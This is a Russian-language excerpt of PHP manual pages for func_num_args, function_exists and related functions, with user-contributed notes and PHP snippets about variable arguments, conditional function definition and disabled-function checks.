I hope PHP gets native support for this, because a core implementation would be faster than this userland backtrace+reflection implementation:
<?php

/**
 * Get function arguments as associative array
 * (same as func_get_args() but with keys)
 *
 * @param bool $populateMissingArgumentsWithDefaults whether to populate the array with default values for missing arguments
 *
 * @return array
 */
function func_get_args_associative(bool $populateMissingArgumentsWithDefaults = false): array
{
    $trace = debug_backtrace(0, 2)[1];
    $reflection = null;
    if (isset($trace['class'])) {
        $reflection = new \ReflectionMethod($trace['class'], $trace['function']);
    } else {
        $reflection = new \ReflectionFunction($trace['function']);
    }
    $ret = [];
    foreach ($reflection->getParameters() as $param) {
        if (array_key_exists($param->getPosition(), $trace['args'])) {
            $ret[$param->name] = $trace['args'][$param->getPosition()];
        } elseif ($populateMissingArgumentsWithDefaults) {
            // because of the "required arguments declared after an optional argument are implicitly required" rule:
            assert($param->isDefaultValueAvailable(), "i think all params are either in trace[args] or have default values");
            $ret[$param->name] = $param->getDefaultValue();
        }
    }
    return $ret;
}
?>
art at geigel dot com 28-Mar-2023 03:32
The size of the array resulting from func_get_args(), for instance using count(), does not take into account parameters that have been assigned default values in the function definition.

Example:

function foo($bar=true) {
     echo count(func_get_args());
}

foo();
// echoes 0

foo("bar");
// echoes 1

A useful condition to test for when a function needs to return default behavior (whatever that might be) when no value is present and the value of $bar could be true, false, null, etc.
cobrattila at gmail dot com 20-Nov-2019 04:17
If you want to get the arguments by reference, instead of func_get_args() you can simply use

<?php
function args_byref(&...$args) {
    // Modify the $args array here
}
?>

Credits should go to Markus Malkusch for pointing this out on Stackoverflow.
https://stackoverflow.com/a/29181826/1426064
foxkeys at gmail dot com 17-Mar-2016 06:18
Merge func_get_args() with function defaults
<?php
class utils {
  /**
   * @param mixed[] $args
   * @param ReflectionMethod $reflectionMethod
   *
   * @return array
   */
  public static function mergeArgsWithDefaults( $args, \ReflectionMethod $reflectionMethod ) {
    foreach ( array_slice( $reflectionMethod->getParameters(), count( $args ) ) as $param ) {
      /**
       * @var ReflectionParameter $param
       */
      $args[] = $param->getDefaultValue();
    }
    return $args;
  }
}

class  sampleParent {
  const USER_FILE_TYPE_FILE = 'FILE';
  public function select( $idUserFile = null, $idUserFileType = self::USER_FILE_TYPE_FILE ) {
    echo '[$idUserFile=>' . $idUserFile . ', $idUserFileType=>' . $idUserFileType, ']<br/>' . PHP_EOL;
  }
}

class sample extends sampleParent {
  const USER_FILE_TYPE_IMG = 'IMG';
  public function select( $idUserFile = null, $idUserFileType = self::USER_FILE_TYPE_IMG ) {
    return call_user_func_array( 'parent::select', \utils::mergeArgsWithDefaults( func_get_args(), new ReflectionMethod( __CLASS__, __FUNCTION__ ) ) );
  }
}

$sample1 = new sampleParent();
$sample1->select();//Prints "" / self::USER_FILE_TYPE_FILE
$sample1->select(1);//Prints 1 / self::USER_FILE_TYPE_FILE
$sample1->select(2, 'test 1');//Prints 2 / "test 1"
echo '<br/>' . PHP_EOL;
$sample2 = new sample();
$sample2->select();//Prints "" / self::USER_FILE_TYPE_IMG
$sample2->select(3);//Prints 3 / self::USER_FILE_TYPE_IMG
$sample2->select(4, 'test 2');//Prints 4 / "test 2"
?>
maarten at ba dot be 13-Sep-2012 11:58
it seems that this function only returns a copy and loses it's byref information, use this dirty non-efficient workaround instead:

at the moment of writing it currently returns all of them as references, instead of only the ones who are passed that way...

<?php
function func_get_args_byref() {
        $trace = debug_backtrace();
        return $trace[1]['args'];
}
?>
OpenTechnologist 30-Dec-2011 07:54
please note that optional parameters are not seen/passed by func_get_args(), as well as func_get_arg().

ex:

<?php
function testfunc($optional = 'this argument is optional..') {
    $args = func_get_args();
    var_dump($args);
    echo $optional;
}
?>

test case #1:
testfunc('argument no longer optional..');

result for #1:
array(1) {
    [0]=>  string(20) "argument no longer optional.."
}
argument no longer optional..

test case #2:
testfunc('argument no longer optional..','this is an extra argument');

result for #2:
array(2) {
    [0]=>  string(29) "argument no longer optional.."
    [1]=>  string(25) "this is an extra argument"
}
argument no longer optional..

test case #3: -- RESULTS IN AN EMPTY ARRAY
testfunc();

result for #3:
array(0) {
}
this argument is optional..
mitko at edabg dot com 06-Apr-2009 03:48
<?php
/*
This example demonstrate how to use unknown variable arguments by reference.
func_get_args() don't return arguments by reference, but
debug_backtrace() "args" is by reference.
In PHP 5 this have no particular sense, because calling with arguments by reference
is depreciated and produce warning.
*/

class foo {

    var $bar = "default bar";

    function foo(/*variable arguments*/) {
// func_get_args returns copy of arguments
//        $args = func_get_args();
// debug_backtrace returns arguments by reference
        $stack = debug_backtrace();
        $args = array();
        if (isset($stack[0]["args"]))
            for($i=0; $i < count($stack[0]["args"]); $i++)
                $args[$i] = & $stack[0]["args"][$i];
        call_user_func_array(array(&$this, 'bar'), $args);
    }

    function bar($bar = NULL) {
        if (isset($bar))
            $this->bar = & $bar;
    }
}

$global_bar = "bar global";
$foo = & new foo();
echo "foo->bar:    ".$foo->bar."</br>\n";
$foo->bar = "new bar";
echo "global_bar:  ".$global_bar."</br>\n";
/*
Result:
foo->bar:    default bar</br>
global_bar:  bar global</br>
*/

$foo = & new foo(&$global_bar);
echo "foo->bar:    ".$foo->bar."</br>\n";
$foo->bar = "new bar";
echo "global_bar:  ".$global_bar."</br>\n";
/*
Result:
foo->bar:    bar global</br>
global_bar:  new bar</br>
*/

?>
anderson at francotecnologia dot com 26-Aug-2008 11:25
How to create a polymorphic/"overloaded" function

<?php
function select()
{
    $t = '';
    $args = func_get_args();
    foreach ($args as &$a) {
        $t .= gettype($a) . '|';
        $a = mysql_real_escape_string($a);
    }
    if ($t != '') {
        $t = substr($t, 0, - 1);
    }
    $sql = '';
    switch ($t) {
        case 'integer':
            // search by ID
            $sql = "id = {$args[0]}";
            break;
        case 'string':
            // search by name
            $sql = "name LIKE '%{$args[0]}%'";
            break;
        case 'string|integer':
            // search by name AND status
            $sql = "name LIKE '%{$args[0]}%' AND status = {$args[1]}";
            break;
        case 'string|integer|integer':
            // search by name with limit
            $sql = "name LIKE '%{$args[0]}%' LIMIT {$args[1]},{$args[2]}";
            break;
        default:
            // :P
            $sql = '1 = 2';
    }
    return mysql_query('SELECT * FROM table WHERE ' . $sql);
}
$res = select(29); // by ID
$res = select('Anderson'); // by name
$res = select('Anderson', 1); // by name and status
$res = select('Anderson', 0, 5); // by name with limit
?>
ario [a] mail [dot] utexas [dot] edu 07-May-2007 02:50
"Because this function depends on the current scope to determine parameter details, it cannot be used as a function parameter. If you must pass this value, assign the results to a variable, and pass the variable."

This means that the following code generates an error:

<?php

function foo($list)
{
  echo implode(', ', $list);
}

function foo2()
{
  foo(func_get_args());
}

foo2(1, 2, 3);

?>

However, you can easily get around this by doing the following:

<?php

function foo($list)
{
  echo implode(', ', $list);
}

function foo2()
{
  foo($args = func_get_args());
}

foo2(1, 2, 3);

?>

This captures the context from foo2(), making this legal.  You get the expected output:

"1, 2, 3"
T.M. 04-Nov-2004 07:24
Simple function to calculate average value using dynamic arguments:
<?php
function average(){
    return array_sum(func_get_args())/func_num_args();
}
print average(10, 15, 20, 25); // 17.5
?>
daveNO at ovumSPAMdesign dot com 17-Sep-2001 11:29
<?php
// How to simulate named parameters in PHP.
// By Dave Benjamin <dave@ovumdesign.com>

// Turns the array returned by func_get_args() into an array of name/value
// pairs that can be processed by extract().
function varargs($args) {
    $count = count($args);
    for ($i = 0; $i < $count; $i += 2) {
        $result[$args[$i]] = $args[$i + 1];
    }

    return $result;
}

// Example
function test(&$ref1, &$ref2) {
    // Default arguments go here.
    $foo = "oof";

    // Do some magic.
    extract(varargs(func_get_args()));

    echo nl2br("\n\$var1 = $var1");
    echo nl2br("\n\$var2 = $var2");
    echo nl2br("\n\$foo = $foo\n\n");

    // Modify some variables that were passed by reference.
    // Note that func_get_args() doesn't pass references, so they
    // need to be explicitly declared in the function definition.
    $ref1 = 42;
    $ref2 = 84;
}

$a = 5;
$b = 6;

echo nl2br("Before calling test(): \$a = $a\n");
echo nl2br("Before calling test(): \$b = $b\n");

// Try removing the 'foo, "bar"' from the following line.
test($a, $b, var1, "abc", var2, "def", foo, "bar");

echo nl2br("After calling test(): \$a = $a\n");
echo nl2br("After calling test(): \$b = $b\n");
?>
04-Jun-2001 07:44
You can pass a variable number of arguments to a function whilst keeping references intact by using an array. The disadvantage of course, is that the called function needs to be aware that it's arguments are in an array.

<?php
// Prints "hello mutated world"
function mutator($args=null) {
$n=count($args);
while($i<$n) $args[$i++] = "mutated";
}
$a = "hello";
$b = "strange";
$c = "world";
mutator(array($a, &$b, $c));
echo "$a $b $c";
?>


Возвращает количество аргументов, переданных функции

  • « func_get_args
  • function_exists »
  • PHP Manual
  • Функции управления функциями
  • Возвращает количество аргументов, переданных функции

func_num_args

(PHP 4, PHP 5, PHP 7, PHP 8)

func_num_args — Возвращает количество аргументов, переданных функции

Описание

func_num_args(): int

Получает количество аргументов, переданных функции.

Эта функция также может быть использована совместно с func_get_arg() и func_get_args() для создания функций с переменным количеством аргументов.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает количество аргументов, переданных текущей пользовательской функции.

Ошибки

Генерирует предупреждение при вызове вне определения функции.

Примеры

Пример #1 Пример использования func_num_args()

<?php

function foo()
{
echo "Количество аргументов: ", func_num_args(), PHP_EOL;
}

foo(1, 2, 3);
?>

Результат выполнения приведённого примера:

Количество аргументов: 3

Примечания

Замечание:

Начиная с PHP 8.0.0 семейство функций func_*() предназначено для большей прозрачности в отношении именованных аргументов, обрабатывая аргументы так, как если бы все они были переданы позиционно, а отсутствующие аргументы заменяются их значениями по умолчанию. Функция игнорирует набор неизвестных именованных вариативных аргументов. К собранным неизвестным именованным аргументам можно получить доступ только через вариативный параметр.

Смотрите также

  • Синтаксис ...
  • func_get_arg() - Возвращает элемент из списка аргументов
  • func_get_args() - Возвращает массив, который содержит список аргументов функции
  • ReflectionFunctionAbstract::getNumberOfParameters() - Получает количество параметров

User Contributed Notes

tongcheong77 at gmail dot com 20-Jun-2017 06:12
If you are using PHP 7 and func_num_args is in your base class which you extended, you can pass your arguments with the 'spat' operator.

class Sql {

public function doGetWhere(...$args) {

$num_args = func_num_args();
      $args_list = func_get_args();

      echo '<pre>';
      var_dump($args_list);
      echo '<pre>';
  }
}

class Member extends Sql {

public function getWhere(...$args) {

   $this->doGetWhere(...$args);

      }
}

$member = new Member();
$member->getWhere('first_name','last_name','userlevel','email','where','email','=',$sub_email);

However, take note that if you 'new up' the 'Sql' class in your 'Member' class above, instead of extending it, you will not need to pass your arguments as a variable. Just my two cents. -Bruce tong
luisguillermo dot quevedovelez at gmail dot com 13-Mar-2012 07:32
I had defined a function function_name(){ ...} as a drupal callback.
I try to get how many params where passed

I got a Error and my Site falls down

I've replaced func_get_args() instead func_num_args() and my Site was restored.

I conclude you can not use  func_num_args() in callbacks.

Hope it helps.
Dennis Robinson from basnetworks dot net 29-Jun-2009 09:29
This function comes in handy, and I believe is the only solution, when you have an optional parameter that can take any type of data.

For example:

<?php

// $data can be of any type, including null
function my_function($name, $data = null)
{
    if ($data !== null)
    {
        // Do something with $data
        // If you call my_function('something'), this WILL NOT be reached
        // If you call my_function('something', null), this WILL NOT be reached
    }
}

?>

The problem with the above function is that you will never be able to use null as the value for $data.  To fix this, use func_num_args() like so:

<?php

// $data can be of any type, including null
function my_function($name, $data = null)
{
    if (func_num_args() >= 2)
    {
        // Do something with $data
        // If you call my_function('something'), this WILL NOT be reached
        // If you call my_function('something', null), this WILL be reached
    }
}

?>

This solution works because func_num_args() reports exactly how many arguments were passed when the function was called.  It does not take into account when default argument values are used.
jared at ws-db dot com 06-Sep-2005 09:46
Just a note for anyone wondering. This function doesn't include params that have a default value, unless you pass one in to overwrite the default param value. Not sure if that makes sense, so here's an example:

<?php
function helloWorld($ArgA, $ArgB="HelloWorld!") {
  return func_num_args();
}

// The following will return 1
$Returns1 = helloWorld("HelloWorld!");

// The following will return 2
$Returns2 = helloWorld("HelloWorld!", "HowdyWorld!");
?>
andy at arakka dot co dot th 11-May-2005 07:16
func_num_args() can be used in conjunction with named arguments, also. For example:

<?php
function DebugShow( $label, $value ) {
  echo "# " . $label ;
  if ( func_num_args() > 1 ) echo " = " . $value ;
  echo "<br>";
}
?>
ashley at dcs dot warwick dot ac dot uk 17-Apr-2002 04:40
If you want to pass the parameters on intact to another function, use func_get_args and call_user_func_array (careful - this one is only available in recent PHP versions).  For example:

<?php
/* Print an HTML tag.  This accepts a variable number of arguments:
   the first should be the name of the tag, followed by pairs of
   arguments that describe keys and values.  The values are printed
   with surrounding double quote characters.  */
function printTag() {
  $numArgs = func_num_args();
  if ($numArgs < 1) die("printTag given no arguments");

  echo "<" . func_get_arg(0);
  for ($i = 1; $i < $numArgs; $i+=2) {
    echo " " . func_get_arg($i);
    if ($i+1 < $numArgs)
      echo "=\"" . func_get_arg($i+1) . "\"";
  }
  echo ">";

}

/* Print an HTML tag with a newline on the end */
function printTagNL() {
  $args = func_get_args();
  call_user_func_array("printTag", $args);
  echo "\n";
}

printTagNL("input", "type", "hidden", "name", "SORTORDER", "value", $columnNo);
?>
thalis at NOSPAMcs dot pitt dot edu 29-Mar-2002 12:05
The idea of func_get_args() is to construct functions of variable number of parameters like

<?php
function var_param_func(){
    if(func_num_args()==0){
        //do one thing
    }
    if(func_num_args()==1)
        //do another thing
        //get the args with func_get_args()
    }
}
?>


Возвращает true, если указанная функция определена

  • « func_num_args
  • get_defined_functions »
  • PHP Manual
  • Функции управления функциями
  • Возвращает true, если указанная функция определена

function_exists

(PHP 4, PHP 5, PHP 7, PHP 8)

function_exists — Возвращает true, если указанная функция определена

Описание

function_exists(string $function): bool

Проверяет, есть ли в списке определённых функций, как встроенных (внутренних), так и пользовательских, функция function.

Список параметров

function

Имя функции в виде строки.

Возвращаемые значения

Возвращает true, если function существует и является функцией, иначе возвращается false.

Замечание:

Эта функция возвращает false для языковых конструкций, таких как include_once или echo.

Примеры

Пример #1 Пример использования function_exists()

<?php
if (function_exists('imap_open')) {
echo "Функции IMAP доступны.<br />\n";
} else {
echo "Функции IMAP недоступны.<br />\n";
}
?>

Примечания

Замечание:

Обратите внимание, что название функции может присутствовать, даже если саму функцию невозможно использовать из-за настроек конфигурации или опций компиляции (например, как для функций image).

Смотрите также

  • method_exists() - Проверяет, существует ли метод в классе
  • is_callable() - Проверяет, что значение может быть вызвано как функция в текущей области видимости
  • get_defined_functions() - Возвращает массив определённых функций
  • class_exists() - Проверяет, объявили ли класс
  • extension_loaded() - Определяет, загружен ли модуль

User Contributed Notes

chris at candm dot org dot uk 04-Aug-2021 02:46
The confusion expressed in some of the submissions here arise because functions declared outside conditional blocks are defined as the code is loaded and are thus callable and exist wherever in the code they are declared, whereas those declared inside a condition block are not defined until that block is executed. Thus:

    echo foo();
    function foo() { return "I am foo"; }

yields : "I am foo"

however because those inside a conditional are defined as they are encountered during code execution

    echo foo();
    if(true) {
        function foo() { return "I am foo"; }
    }

yields: Fatal error: Uncaught Error: Call to undefined function foo()
ayyappan dot ashok at gmail dot com 31-Mar-2016 10:03
PHP supports nested function based on certain criteria.

Please look over the code.

function Media(){ }

function Audio()
{
    echo "Plugged Audo 5.1:<br/>";
    function Volume()
    {
    echo "Volume controls:<br/>";
    function Equalizer()
    {
        echo "Equalize Bands:<br/>";
    }
   }
}
//Call to nested functions
Audio();
Volume();
Equalizer();

if(function_exists('Volume')):
echo "TRUE";
else:
echo "FALSE";
endif;

Case 1:  //Result :Works Well
--------
Audio();
Volume();
Equalizer();

Case 2:  //Results Notice Error. Root function Audio must be called first.
--------
Volume();

Case 3:  //Results Error. Root function Volume must be called.
--------
Audio();
Equalizer();

Note :
The nested function should be called based on their order used.
In our example when Audio is not called and instantly when we try to call Volume puts under error.

Even though there is an possibility to use nested functions in PHP. It looks overhead to do so. Better to avoid in logical ground of script.

Tested on PHP 5.5.32
michael at squiloople dot com 01-Sep-2015 08:28
It should be noted that the function_exists check is not relative to the root namespace. This means that the namespace should be appended to the check:

<?php

  namespace test;

  if (!function_exists(__NAMESPACE__ . '\example'))
  {

    function example()
    {

    }

  }

?>
BruceB 21-Aug-2015 03:55
This is not going to go down as you might expect it should (even if you play smart and require/include_once):

<?php
if(function_exists('my_function'))
{
   throw new Exception("'my_function' is already defined!");
}

function my_function()
{
   // Do the work here
}
?>

This, however does work:

<?php
if( ! function_exists('my_function'))
{
   function my_function()
   {
      // Do the work here
   }
}
else
{
   throw new Exception("'my_function' is already defined!");
}
?>

Does it have anything to do with PHP parse/execute phases or global/local scope or those curly brackets or something else, I have no idea, but the latter ugly son works, while the former bombs out claiming that 'my_function' is already defined.

Thought this might save someone a few minutes of debugging time...
b dot g dot dariush at gmail dot com 07-Feb-2014 05:50
function_exists() does not cache its query internally.

by executing the following code

        $funcs = \array_shift(\get_defined_functions());
        $l = new \core\utiles\loadTime;
        $times = 0;
        $l->start();
        for($index = 0; $index<count($funcs); $index++)
        {
            foreach($funcs as $func)
            {
                $times++;
                if(\function_exists($func)) ;
            }
        }
        $s = $l->stop();
        echo "<span style='color:green'>$times</span> took : $s";
        # the output would be
         $> 2365444 took : 0.70324

By executing the

        $funcs = \array_shift(\get_defined_functions());
        $l = new \core\utiles\loadTime;
        $times = 0;
        $l->start();
        static $func_check = array();
        for($index = 0; $index<count($funcs); $index++)
        {
            foreach($funcs as $func)
            {
                $times++;
                if(!isset($func_check[$func]))
                {
                    if(\function_exists($func)) ;
                    $func_check[$func] = 1;
                }
                else $func_check[$func];
            }
        }
        $s = $l->stop();
        echo "<span style='color:green'>$times</span> took : $s";
        # the output would be
        $> 2365444 took : 0.53446

There is a 0.16878 seconds improvement, when you use static array to cache methods existence.
kitchin 25-Sep-2012 12:49
You can use this function to conditionally define functions, see: http://php.net/manual/en/functions.user-defined.php

For instance Wordpress uses it to make functions "pluggable." If a plugin has already defined a pluggable function, then the WP code knows not to try to redefine it.

But function_exists() will always return true unless you wrap any later function definition in a conditional clause, like if(){...}. This is a subtle matter in PHP parsing. Some examples:

<?php
if (function_exists('foo')) {
  print "foo defined\\n";
} else {
  print "foo not defined\\n";
}
function foo() {}

if (function_exists('bar')) {
  print "bar defined\\n";
} else {
  print "defining bar\\n";
  function bar() {}
}
print "calling bar\\n";
bar(); // ok to call function conditionally defined earlier

print "calling baz\\n";
baz(); // ok to call function unconditionally defined later
function baz() {}

qux(); // NOT ok to call function conditionally defined later
if (!function_exists('qux')) {
  function qux() {}
}
?>
Prints:
  foo defined
  defining bar
  calling bar
  calling baz
  PHP Fatal error: Call to undefined function qux()

Any oddities are probably due to the order in which you include/require files.
admin at gk-root dot com 22-Mar-2012 02:51
// If you want to chack if the function is enabled or disable in php.ini you can use this function:

<?php
function func_enabled($func) {
    $disabled = explode(',', ini_get('disable_functions'));
    foreach ($disabled as $disableFunction) {
        $is_disabled[] = trim($disableFunction);
    }
    if (in_array($func,$is_disabled)) {
        $it_is_disabled["m"] = $func.'() has been disabled for security reasons in php.ini';
        $it_is_disabled["s"] = 0;
    } else {
        $it_is_disabled["m"] = $func.'() is allow to use';
        $it_is_disabled["s"] = 1;
    }
    return $it_is_disabled;
}
?>

// An example of how to use:

<?php
$if_is_disabled = func_enabled('exec'); // return Arrey
echo $if_is_disabled["m"]; // return text value
echo '<br/>';
echo $if_is_disabled["s"]; // return 1 or 0
?>
zach at bygeekz dot com 20-Sep-2008 06:20
to php at fluidthoughts dot com

you aren't comparing against false, that if compares against true, so it's going to return that, as false != true
true being 1, True, (bool)True, etc.
false being 0, False, Null, etc
<?php

$foo=null;
if ($foo) { echo 'yay'; } //does not echo yay, because null is not True

$foo=false;
if ($foo) { echo 'yay'; } //does not echo yay, because false is not True

$foo=null;
if (!$foo) { echo 'yay'; } //echoes yay!

$foo=false;
if (!$foo) { echo 'yay'; } //echoes yay!

?>

This..
<?php
    if (!function_exists('')) {
                echo "empty string function doesnt exist as compared as negative\n";
        }

        if (!function_exists(NULL)) {
                echo "NULL function doesnt exist as compared as negative\n";
        }
?>
Works.

Alternatively, to enter upon existance..

Use your code. Since they dont exist, it wont enter..
php at fluidthoughts dot com 19-Mar-2008 10:18
function_exists returns false on NULL and empty string:

<?php
        if (function_exists('')) {
                echo "empty string function exists\n";
        }

        if (function_exists(NULL)) {
                echo "NULL function exists\n";
        }
?>

Neither of the echo statements happen when I run this.
webmaster at mamo-net dot de 22-Sep-2007 05:43
If you use suhosin.executor.func.blacklist instead of disabled_functions in your php.ini, function_exists will return true for a disabled function. I used this to have the same beahviour with suhosin.executor.func.blacklist and disabled_functions:

<?php
function suhosin_function_exists($func) {
    if (extension_loaded('suhosin')) {
        $suhosin = @ini_get("suhosin.executor.func.blacklist");
        if (empty($suhosin) == false) {
            $suhosin = explode(',', $suhosin);
            $suhosin = array_map('trim', $suhosin);
            $suhosin = array_map('strtolower', $suhosin);
            return (function_exists($func) == true && array_search($func, $suhosin) === false);
        }
    }
    return function_exists($func);
}
?>
White-Gandalf 13-Sep-2007 07:26
I stumbled over the same problem as "eddiec" (users not able or not willing to use "_once"-suffixes).

A possible alternative explanation for the behavior:

If a file is included, it is possibly parsed every include-time.(?)
While parsing, every function in global scope is tried to register. THIS gets wrong, when multiple times included, and it produces an error.

If functions are defined within block scopes, their registration seems to be delayed until execution of such a block. Thus, not the function "function_exists" functions wrong, but simply the philosophy of the interpreter produces such results.

Thus, the same effect can be achieved by simply putting block braces around the contents of an include_once file:

if (function_exists('function_in_question')) return;
{
    function function_in_question(...)
    {
        ...
    }
    ...other stuff
}

...which is equivalent to...

if (!function_exists('function_in_question'))
{
    function function_in_question(...)
    {
        ...
    }
    ...other stuff
}
dieter at edarta dot be 16-Feb-2007 03:09
to brooklynphil at hotmail dot com:

Your post is misleading, namely the 3rd and last speedtest you describe is an unfair comparison:

<?php
is_callable('test','test');
?>

The value of the 2nd parameter $syntax_only is 'test' and this evaluates to boolean true. In other words, this is exactly the same as calling the function like this:

<?php
is_callable('test',true);
?>

Of course this will be faster because is_callable only does a very basic syntaxcheck. From the documentation: 'It will only reject simple variables that are not strings, or an array that does not have a valid structure to be used as a callback.'

If you omit this erroneous 3rd test, then according to your examples function_exists is 2 to 4 times faster.

I hope you can see that loop-testing functions is not so simple. :)

rtfm
eddiec at stararcher dot com 09-Feb-2007 09:58
Note that function_exists will return TRUE in the following situation, presumably because the function "testfunc" was defined when the script was PARSED/ITERPRETED, before the function_exists call was made at RUNTIME:

<?php
if (function_exists('testfunc')) return;
function testfunc() { }
?>

So, this construction is not useful for preventing testfunc from being multiply defined if the script is muliply included or required.

However, the following construction DOES work to prevent multiple defines of testfunc:

<?php
if (!function_exists('testfunc')) {
  function testfunc() { }
}
?>

CONTRAST this with similar uses of defined() which is completely runtime evaluated.  These both work:

<?php
if (defined('testfunc_defined')) return;
define('testfunc_defined', 1);
function testfunc() { }
?>

AND...

<?php
if (!defined('testfunc_defined')) {
define('testfunc_defined', 1);
function testfunc() { }
}
brooklynphil at hotmail dot com 30-Jan-2007 11:02
to bob at thethirdshift dot net
regarding is_callable vs function_exists.

using your code
is_callable = TRUE, function_exists = FALSE

Did 10000 is_callables in 0.0443360805511 seconds
Did 10000 function_exists in 0.0111110210419 seconds

then we replace
is_callable(array('test','test'));
with
$callarray = array('test','test'); // place this outside for-loop
is_callable($callarray);

is_callable = TRUE, function_exists = FALSE

Did 10000 is_callables in 0.0314660072327 seconds
Did 10000 function_exists in 0.0120670795441 seconds

then we replace
is_callable(array('test','test'));
with
is_callable('test','test');

is_callable = TRUE, function_exists = FALSE

Did 10000 is_callables in 0.00991606712341 seconds
Did 10000 function_exists in 0.0113790035248 seconds

I hope you can see that loop-testing functions is not so simple. :)
Dan 17-Jul-2006 08:49
I would like to comment on the following post:

A note of caution: function_exists() appears to be case-insensitive (at least as of PHP 4.3.8).  e.g.:

<?php
   function MyCasedFunction() {
       return true;
   }

   // Will return true, even though casing is "wrong"
   if (function_exists("mYcAsEdFuNcTiOn"))
       echo "I see it!";
?>

I believe that function calls itself are case insensitve, so this function is returning a valid truth. PHP doesn't care about cases.
andi at splitbrain dot org 07-Jul-2006 03:48
function_exists will return false for functions disabled with the disable_functions ini directive. However those functions are still declared so trying to define them yourself will fail.

<?php
if(!function_exists('readfile')){
  function readfile($file){
    $handle=@fopen($cache,"r");
    echo @fread($handle,filesize($file));
    @fclose($handle);
  }
}
?>

The above will issue a "Cannot redeclare readfile()" fatal error if readfile was disabled with disable_functions.
neelam_ab2003 at yahoo dot co dot in 11-May-2006 12:06
<?php
/*PHP doesn't Support nested functions. I have tried following in PHP_VERSION - 5.1.2*/

function A(){}

function B(){
    function C(){
        function D(){}
    }
}

IsFunctionExist('A');
IsFunctionExist('B');
IsFunctionExist('C');
IsFunctionExist('D');

function IsFunctionExist($funcName){
    echo function_exists($funcName)?" $funcName exist <br>":" $funcName doesn't exist <br>";
}
?>

/*O U T P U T
A exist
B exist
C doesn't exist
D doesn't exist
*/
chaumo 16-Jul-2005 05:46
to avoid direct calls this can be better than function_exists
in the parent file:
<?php
define("IN_MODULE",true);
?>
and in the target file:
<?php
if(!defined("IN_MODULE")) die("Can't access the file directly");
?>
fili at fili dot nl 08-Jun-2005 09:24
To prevent direct calls to included files i use the following technique.

In the main file create an empty function with a random name. Like so:

<?php
function hjudejdjiwe() { return true; }
?>

Then check for the existence of this function within your include:

<?php
if (!function_exists('hjudejdjiwe')) { die('!'); }
?>

Simple but effective.
bob at thethirdshift dot net 23-Jun-2004 09:55
I, too, was wondering whether is_callable or function exists is faster when checking class methods.  So, I setup the following test:

<?php
function doTimes($start, $end)
  {
    $start_time = explode (" ", $start);
    $start_time = $start_time[1] + $start_time[0];
    $end_time = explode (" ", $end);
    $end_time = $end_time[1] + $end_time[0];
    $time = $end_time - $start_time;
    return $time;
  }

class test
  {
      function test()
      {
          return true;
      }
  }

$callableIsTrue = false;
$startIsCallable = microtime();
for($i = 0; $i < 10000; $i++)
  {
      if(is_callable(array('test', 'test'))) { $callableIsTrue = true; }
  }
$endIsCallable = microtime();

$existsIsTrue = false;
$startExists = microtime();
for($i = 0; $i < 10000; $i++)
  {
      if(function_exists('test::test')) { $existsIsTrue = true; }
  }
$endExists = microtime();

$timeIsCallable = doTimes($startIsCallable, $endIsCallable);
$timeExists     = doTimes($startExists, $endExists);

echo "<b>is_callable = ".($callableIsTrue ? "TRUE" : "FALSE")."</b>, \n";
echo "<b>function_exists = ".($existsIsTrue ? "TRUE" : "FALSE")."</b><br>\n";

echo "<br>Did 10000 is_callables in ".$timeIsCallable." seconds";
echo "<br>Did 10000 function_exists in ".$timeExists." seconds";
?>

This gives the output :

is_callable = TRUE, function_exists = FALSE

Did 10000 is_callables in 0.0640790462494 seconds
Did 10000 function_exists in 0.0304429531097 seconds

So the fact that function_exists is twice as fast is slightly over shadowed by the fact that it doesn't work on class methods, at least not as far as I can tell.
ckrack at i-z dot de 09-Mar-2004 12:22
i was wondering whether is_callable or function exists is faster when checking class methods.

is_callable(array('foo', 'bar'));
function_exists('foo::bar');

my results when doing each operation 10000 times with a simple test class were the following:

is_callable: 0.28671383857727 seconds
function_exists: 0.14569997787476 seconds

(following tests have proved this to be true).

thus you can see, function_exists is twice as fast as is_callable.
breadman 29-Jul-2003 05:17
Functions within a function are better off as anonymous returns from create_function(), unless you want to be able to call it elsewhere.

However, I have used this in skinning:  I use alert_box() to display certain errors, like a faulty SQL query.  This simply calls display_alert(), which is defined in my skin scripts.  However, alert_box() is sometimes called before I know which skin to load, so it has its own functionality which it uses if function_exists('display_alert') returns false.
dshearin at excite dot com 08-Jul-2003 03:15
This can be used to conditionally define a user function. In this sense, it can act as a sort of inline include_once().

For example, suppose you have a function A that calls function B. B is only used inside function A and is never called from anywhere else in the script. It's logical (and perfectly legal in PHP) to define B inside of A's definition, like so:

<?php
function A($inputArray)
{
   if (!function_exists('B'))
   {
      function B($item)
      {
           // Do something with $item
         // and return result
          return $result;
      }
   }
   foreach ($inputArray as $nextItem) $outputArray[] = B($nextItem);
   return $outputArray;
}
?>

Without the function_exists test, you would get a fatal error the second time you called A, as PHP would think you were trying to redefine B (not legal in PHP). The placement of the test is also important. Since the if block is executed sequentially, like any other block of code, it must come before any call to the function defined within.


Возвращает массив определённых функций

  • « function_exists
  • register_shutdown_function »
  • PHP Manual
  • Функции управления функциями
  • Возвращает массив определённых функций

get_defined_functions

(PHP 4 >= 4.0.4, PHP 5, PHP 7, PHP 8)

get_defined_functions — Возвращает массив определённых функций

Описание

get_defined_functions(bool $exclude_disabled = true): array

Функция получает массив функций, которые определили.

Список параметров

exclude_disabled

Требуется ли исключать из результата отключённые функции.

Возвращаемые значения

Функция возвращает многомерный массив, который содержит список определённых функций, как встроенных (внутренних), так и пользовательских. Внутренние функции перечисляются в элементе массива $arr["internal"], а пользовательские — в элементе $arr["user"] (смотрите пример ниже).

Список изменений

Версия | Описание
8.0.0 | Значение по умолчанию для параметра exclude_disabled изменили с false на true.
7.0.15, 7.1.1 | Добавили параметр exclude_disabled.

Примеры

Пример #1 Пример использования функции get_defined_functions()

<?php

function myrow($id, $data)
{
return "<tr><th>$id</th><td>$data</td></tr>\n";
}

$arr = get_defined_functions();

print_r($arr);

?>

Вывод приведённого примера будет похож на:

Array
(
    [internal] => Array
        (
            [0] => zend_version
            [1] => func_num_args
            [2] => func_get_arg
            [3] => func_get_args
            [4] => strlen
            [5] => strcmp
            [6] => strncmp
            ...
            [750] => bcscale
            [751] => bccomp
        )

    [user] => Array
        (
            [0] => myrow
        )

)

Смотрите также

  • function_exists() - Возвращает true, если указанная функция определена
  • get_defined_vars() - Возвращает массив всех определённых переменных
  • get_defined_constants() - Возвращает ассоциативный массив с именами всех констант и их значений
  • get_declared_classes() - Возвращает массив с именами объявленных классов

User Contributed Notes

Muneeb Aslam 27-Oct-2015 12:30
